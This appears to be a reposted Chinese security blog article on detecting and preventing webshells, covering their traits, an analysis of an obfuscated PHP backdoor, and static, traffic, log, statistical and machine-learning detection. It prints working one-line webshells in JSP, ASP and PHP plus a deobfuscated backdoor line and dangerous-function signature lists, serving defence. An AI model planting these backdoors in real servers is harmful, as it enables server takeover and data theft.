【技术视界】网站防入侵,如何检测webshell?

news/2024/5/9 17:43:45/文章来源:https://blog.csdn.net/xlysoft_net/article/details/96474866

1563441799860044917.jpg

世界上没有绝对安全的系统
当一名黑客获得你的访问控制权限
他可以操作你的服务器
你的数据库,你的后台
甚至,你的一切……

网站被入侵了?
办案人员常常接到这样的案件:某单位网站遭黑客入侵,被非法上传webshell,首页被修改,系统功能不能正常使用,网站目录下面被上传了大量的asp、php、htm的页面,网站数据库数据被窃取,黑客还赤裸裸的留下大名。

那到底什么是webshell?它有什么危害?如何检测及防范?今天我们就好好来说道说道。(欢迎行业老司机们补充指正~)

1.初识webshell

Webshell是web入侵的脚本攻击工具,简单来说,webshell就是一个asp或php木马后门。当黑客在入侵企业网站时,通常要通过各种方式上传webshell从而获得企业网站的控制权,然后方便进行之后的入侵行为。入侵完成后,将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起,让人难辨真假。因此,检测webshell对网站的安全非常重要。

分类

1563441838782060836.jpg

原理
▲jsp的简单的webshell
<%Runtime.getRuntime().exec(request.getParameter("xxx"));%>

▲asp的简单的webshell
<%evalrequest("xxx")%>

▲php的简单的webshell
<?php $a=eval($_GET["xxx"]);?>

webshell含有相同的本质,即:
执行系统命令的函数+接收web参数的功能函数

使用webshell就像是打开一个特殊的web页面,只有当传入的参数正确时才能顺利使用。

例如:1.php 
内容为:<?php @eval(@_POST["A"]);?>

只有打开1.php页面且数据包参数有"A"时,才能正确连接使用该后门。

通过连接webshell,执行系统命令,可以查看计算机本机文件,查看用户、密码等敏感信息,还可以直接生成、修改文件(生成木马病毒文件或者网页挂马,数据库添加xss代码等),以及直接下载上传更多文件。

特点

1.存在系统调用的命令执行函数,如eval,system,cmd_shell,assert等;
2.存在系统调用的文件操作函数,如fopen,fwrite,readdir等;
3.存在数据库操作函数,调用系统自身的存储过程来连接数据库操作;
4.隐匿性与伪装性,可隐藏到正常的web源码中;
5.访问ip、次数少,页面孤立;
6.会产生payload流量,可以通过流量镜像与web日志进行检测;
7.变种多,通过各种函数加密,绕过检测。

变种类型

1.函数调用

3.jpg

最终结果: eval(base64_encode${"_POST"}['xxxx'])

2.拼接语句

4.png

最终结果: assert(${"_POST"}['sz']);

3.字符操作

1563441947627046122.jpg

4.编码混淆

1563441973878078018.jpg

5 其他:文件名利用

7.png

危害

1.长期控制web服务器、主机;
2.上传任意文件或者其他危害性病毒例如(勒索,挖矿病毒),也可以从主机下载任意文件;
3.修改web主页,篡改图片,造成不良社会印象(例如篡改国旗);
4.偷窃删除数据(数据库数据,用户密码,个人信息之类);
5. 控制服务器当肉鸡、攻击跳板,对其他用户实现DDos等攻击。

2.webshell案例分析

对于新手或者经验较少者,很多时候并不能认识或者了解各种各样的文件。不知道那些文件是什么,有什么样的功能,更不敢乱动或者删除。即使发现了可疑的文件也不敢轻举妄动。

在这里举个webshell的分析案例,一步步清理、确认、分析这个webshell的功能与入侵者是如何使用。

原始文件如下,代码混乱

1563442021128065808.jpg

去除注释、排版

1563442038613038401.jpg

分析代码发现,大部分的代码都是通过字符串的|、^、.操作赋值,只有最后两行代码是关键性的代码,而其中的变量都是通过前面的初始化或者是运算得到的。那么我们就可以注释最后两行代码,输出其中所有的变量。

结果如下:

1563442076442020720.jpg

带入到最后的两行代码中,得到:
if(md5(getenv('HTTP_A'))=='5d15db53a91790e913dc4e05a1319c42') $bIywY=create_function('$a,$b,$c',getenv('HTTP_X_UP_CALLING_LINE_ID');

payload

11.png

分析如下

当接受参数A时,如果md5(A)== '5d15db53a91790e913dc4e05a1319c42'
则创建匿名函数bIywY,功能为接收('HTTP_X_UP_CALLING_LINE_ID')
然后执行此函数。

黑客入侵时,只需要在HTTP_X_UP_CALLING_LINE_ID部分添加命令即可执行。

3.如何检测webshell?

WebShell检测是攻防对抗中的一个重要环节,是安全防护人员必修之课。如何快速检测Web Server是否已经被植入WebShell文件或代码,对网站安全来说至关重要。

动态检测

跟踪代码执行的函数/变量。

通过PHP扩展的webshell实时动态检测方法,可以基于PHP扩展对PHP代码的编译执行进行监控并结合外部输入变量的标记追踪、黑白名单机制来进行webshell的实时动态检测。

优点:可以有效针对变形、加密的webshell进行检测
缺点:当文件过多时的处理速度可能较慢,不满足用户需求

静态检测

对脚本文件中所使用的关键词、高危函数、文件修改时间、文件权限、 文件所有者以及和其它文件的关联性等多个维度的特征进行检测,即先建立一个恶意字符串特征库。

1.危险函数

① 命令执行函数
php:exec()eval()assert()shell_exec()system()
jsp:Runtime.exec(String cmd)

②接受web参数函数
php:$_POST $_GET $_REQUEST
jsp:request.getParameter()

③变形函数(编码/字符串变形)
php:base64,sha1,md5, preg_replace,pack(hex)

④文件操作函数
php:fpassthru()fsockopen()

⑤其他函数
php:create_fuction()//匿名函数

优点:可快速检测,快速定位
缺点:容易误报,无法对加密或者经过特殊处理的Webshell文件进行检测。尤其是针对窃密型Webshell无法做到准确的检测:窃密型Webshell通常具有和正常的WEB脚本文件具有相似的特征

2.样貌特征

①文件名

12.png

或者部分比较直观的名字

13.png

②伪装的文件

1563442171052060019.jpg

③加密类型

 

1563442277819049699.jpg

1563442277866027061.jpg

1563442277882001884.jpg

 

优点:可以人工肉眼直观的找出不正常,不合理的文件
缺点:对于隐藏在正常文件中的后门以及大马(被恶意使用的大段正常代码)无法做出判断

流量检测

1、抓取工具特征流量

18.jpg

根据抓取的流量显示,对WebShell所做的操作的结果,都会以字符串的形式返回给菜刀进行处理,并显示出来。字符串形式为 "->|xxxx|<-",为菜刀WebShell的特征字符。若发现成功利用菜刀WebShell的行为,基于该特征字符,将会发现此类攻击事件。

优点:可实时检测并阻止,还原攻击场景,快速定位主机和入侵者
缺点:无法检测加密payload,流量镜像部署成本,甚至有可能拖累服务

日志分析

1.访问特征

少量IP访问,总访问次数少,页面孤立。

2.路径特征

不同手段植入的webshell路径各有特征;自动生成文件名,然后放在特定的目录下。

3.时间特征

新创建页面视为异常页面。

注:日志分析只能作为辅助判断或增加异常权重的指标。

优点:可以帮助过滤数据,快速寻找检测的方向与切入点
缺点:不能作为绝对准确的判断手法,更多的是作为辅助方案

统计学检测

1.信息熵

数学上的抽象概念,这里把信息熵理解成某种特定信息的出现概率(离散随机事件的出现概率)。一个系统越是有序,信息熵就越低。反之,一个系统越是混乱,信息熵就越高,为webshell的可能性越高。

2.文件中的最长单词

正常文件中单词是比较短的,当一个文件中的最长单词很长时,这些长单词是很可疑的。一般webshell经过base64编码后会形成一个长字符串。

优点:对于混淆代码的识别能力较强
缺点:限制于代码编写者的写作习惯与混淆方式,对于附加在正常文件里的恶意代码检测能力较弱

已知后门对比

1.文件相似度

大部分入侵者为脚本小子的级别,并不会自己生成webshell,而是从网上获取他人的脚本且几乎不改变,这种情况下文件相似度极大。

2.文件hash,md5值对比

优点:准确率高

缺点:需要大量的数据组成样本库,且大量文件对比的情况下检测速度较慢

机器学习

Webshell 必然有一些规律,比如执行了某些操作(执行获取到的命令、列出目录文件、上传文件、查看文件等等)。如果直接用源代码分析,会出现很多的噪音,比如注释内容、花操作等等。如果我们将Webshell的源代码转化成仅含执行语句操作的内容,就会一定程度上,过滤掉这些噪音。通过采用词袋,词频等方法来进行提取关键特征。最后使用分类的算法来进行训练。

优点:准确率高

缺点:需要大量的训练数据与优秀的数学建模,提升成本

4.如何防止系统被植入WebShell?

关闭危险函数、系统命令函数的使用功能
注意敏感信息隐藏。例如,不回显上传文件路径,报错信息等
加强输入、上传文件的检查
关闭上传文件夹的代码执行权限
对上传的文件进行改名
关闭危险或不需要的端口
及时加固,打补丁
使用waf之类的安全工具

本文详细介绍了入侵取证过程中常见的webshell木马以及7种检测木马的方案方法,可以为防范入侵以及计算机取证工作带来更多的思路和线索。

文章部分内容参考于网络,如对文中的操作、描述有任何疑问,或者有任何入侵取证、计算机取证需求,欢迎拨打热线电话028-85211099或直接在微信公众号给我们留言,我们会尽快联系您。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_720306.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

资讯交流网站设计与实现_【SEO优化】网站的SEO优化要点

点击蓝字关注我哦MINTGREEN网站标题在选择关键字时&#xff0c;一定不要太多&#xff0c;主要关键字2-3个即可&#xff0c;另外选择一些长尾词&#xff0c;具体SEO优化技巧可参考以下几点&#xff1a;一、关键词分析(又称关键词定位)关键字分析主要包括&#xff1a;关键字关注量…

网站被恶意攻击后,如何从海量数据中查找“作案痕迹”?

随着我国数字化转型的深入发展&#xff0c;信息数据已从资产保护对象成为重要的经济生产工具&#xff0c;数据安全面临着前所未有的威胁。数据泄露、高危漏洞、网络攻击以及相关的网络犯罪呈现新的变化&#xff0c;也加重了网络安全事件所带来的损失和影响。近年来针对政府和金…

「技术视界」Web网站还原技术研究

导读 现在计算机大多都是以服务器和客户端的形式为用户提供服务&#xff0c;而在这种服务模式中&#xff0c;网站服务&#xff08;B/S&#xff09;以其绝对的优势被大多数企业和个人所采用。在对网站服务进行取证时&#xff0c;我们不仅需要获取到网站的数据与代码&#xff0c…

开发一个网站的总体流程

一般流程&#xff1a;&#xff08;以一个登录页面为例&#xff09; 1、美工 用photoshop设计每个页面的效果图&#xff0c;一般文件格式为PSD。 以下就是一个设计好的效果模版图&#xff1a; 2、切图得素材 对美工得到的效果图进行相应的裁剪&#xff0c;最终作为网页开发时…

小学生搞了自己学校的网站!

整理&#xff1a;编程技术宇宙今天这篇文章来源于知乎上一个叫Ret2Rttr的分享&#xff0c;作者自称是一名六年级的小学生。文章主要记录的是他针对自己学校网站的一次渗透测试&#xff0c;过程非常有趣&#xff0c;所以分享给各位读者朋友。上周三&#xff0c;闲着无聊&#xf…

路边「诈骗案」,程序员自建停车缴费网站牟暴利!

程序员的成长之路互联网/程序员/技术/资料共享 关注阅读本文大概需要 2.4 分钟。来自&#xff1a;广西法制日报&#xff1b;记者&#xff1a;刘康 &#xff1b;通讯员&#xff1a;杨李现如今&#xff0c;无人收费停车场已十分普及&#xff0c;自助扫码缴费成为当下车主生活的常…

Visual Studio 2010 将网站直接发布到远程站点

原文:Visual Studio 2010 将网站直接发布到远程站点这次说下如何将web应用程序直接发布到IIS服务器站点&#xff01;&#xff01;&#xff01; 问题的由来 本人每天要发布更新的程序&#xff0c;所以每次更新的时候要做的工作&#xff1a;获取最新源码&#xff0c;编译程序&…

黑客是如何攻破一个网站的?

程序员的成长之路互联网/程序员/技术/资料共享 关注阅读本文大概需要 5 分钟。来自&#xff1a;https://resources.infosecinstitute.com/topic/hacking-a-wordpress-site/一篇科普文&#xff0c;很适合小白&#xff0c;长文请静下心看。通过本文你将了解黑客常用的入手思路和技…

永别了,91网站!宣布永久关闭

程序员的成长之路互联网/程序员/技术/资料共享 关注阅读本文大概需要 2.8 分钟。5月17日晚&#xff0c;“百度手机助手开发者”公众号发布了一篇《关于91和安卓市场渠道的下线通知》。宣布将不再支持91和安卓市场渠道的渠道包上传和管理等功能&#xff0c;同时&#xff0c;百度…

php企业网站带模块,DouPHP模块化企业网站管理v1.6系统含小程序/公众号源码

DouPHP是一款轻量级企业网站管理系统&#xff0c;基于PHPMYSQL架构的&#xff0c;包含“手机版”、“公众号管理模块”、“小程序”&#xff0c;可以使用它快速搭建一个企业网站。功能性模块&#xff1a;防伪查询模块、投票模块、自定义表单模块、工单模块等、会员模块、订单模…

京东一面:Nginx 禁止国外 IP 访问网站!

点击上方蓝色字体&#xff0c;选择“标星公众号”优质文章&#xff0c;第一时间送达来源&#xff1a;toutiao.com/i6860736292339057156先来说说为啥要写这篇文章&#xff0c;之前小编看了下nginx 的访问日志&#xff0c;发现每天有好多国外的IP地址来访问我的网站&#xff0c;…

织梦配置html,织梦网站后台的基本设置

网站搭建完成之后&#xff0c;后台的一些基本设置必不可少&#xff0c;同时还要考虑到一些SEO方面的设置&#xff0c;这也是基础优化的开始。1、站点设置点击左侧的【系统】→【系统基本参数】站点根网址为&#xff1a;http://127.0.0.1文档HTML默认保存路径的/a&#xff0c;去…

描述标签(meta description)的规范讲解 - 谷歌SEO基础

每个项目产品都会让你加埋点&#xff0c;你是愿意花几天一个个加&#xff0c;还是愿意几分钟一个小时加完去喝茶聊天&#xff1f;来试试这520web工具, 高效加埋点&#xff0c;目前我们公司100号前端都在用&#xff0c;因为很好用&#xff0c;所以很自然普及开来了&#xff0c;推…

python官网上不去了_学习Python你不去8个网站?逗我呢!

作为一个现时代的程序员初学者&#xff0c;除了看书之外&#xff0c;互联网的学习手段也是断不能少的&#xff01; 以下这些网站&#xff0c;虽说不上全方位的满足你的需求&#xff0c;但是大部分也都能&#xff01; ​0.国外的大神GitHub &#xff1a; ​学习Python必去的8个网…

更新网站 图片缓存_助你网站加速的十个小技巧

网页的响应速度和性能对用户体验非常重要。如果你的网站太慢&#xff0c;你不仅会失去访问者&#xff0c;还会失去潜在的客户。像谷歌这样的搜索引擎在搜索排名中将网站的速度考虑在内&#xff0c;所以当优化你的网站速度时&#xff0c;你应该把一切都考虑进去。每一毫秒都很重…

图片网站源码_轻量必应每日一图HTML源码

源码介绍: 众所周知&#xff0c;必应搜索官网每天会更新一张高质量的背景图。许多同学想在接口中调用它们&#xff0c;但必应的服务器在国内不算特别稳定(>500ms)。Bing-upyun 可以把每天的必应图片上传至又拍云&#xff0c;提供支持图片处理、回溯的接口(又拍云直链&#x…

注入岛国网站,技术菜鸟第一次....

程序员的成长之路互联网/程序员/技术/资料共享 关注阅读本文大概需要 2.8 分钟。作者&#xff1a;panda原文地址&#xff1a;https://forum.90sec.com/t/topic/13161.打开了谷歌hack 数据库2.在谷歌中漫步&#xff0c;看到几个?idXXX结尾的网址&#xff0c;加’ 出现报错&…

这个小学生,竟然把学校的网站搞了!

程序员的成长之路互联网/程序员/技术/资料共享 关注阅读本文大概需要 4 分钟。来自&#xff1a;编程技术宇宙今天这篇文章来源于知乎上一个叫Ret2Rttr的分享&#xff0c;作者自称是一名六年级的小学生。文章主要记录的是他针对自己学校网站的一次渗透测试&#xff0c;过程非常有…

利用 Github Pages 和 Hugo 快速搭建免费的个人网站

点击上方“程序猿技术大咖”&#xff0c;关注并选择“设为星标”回复“加群”获取入群讨论资格&#xff01;你有个人网站吗&#xff1f;在自媒体时代&#xff0c;人人都在不断向互联网等不同媒介输出内容&#xff0c;如&#xff1a;博客、微博以及抖音等&#xff0c;并在特定领…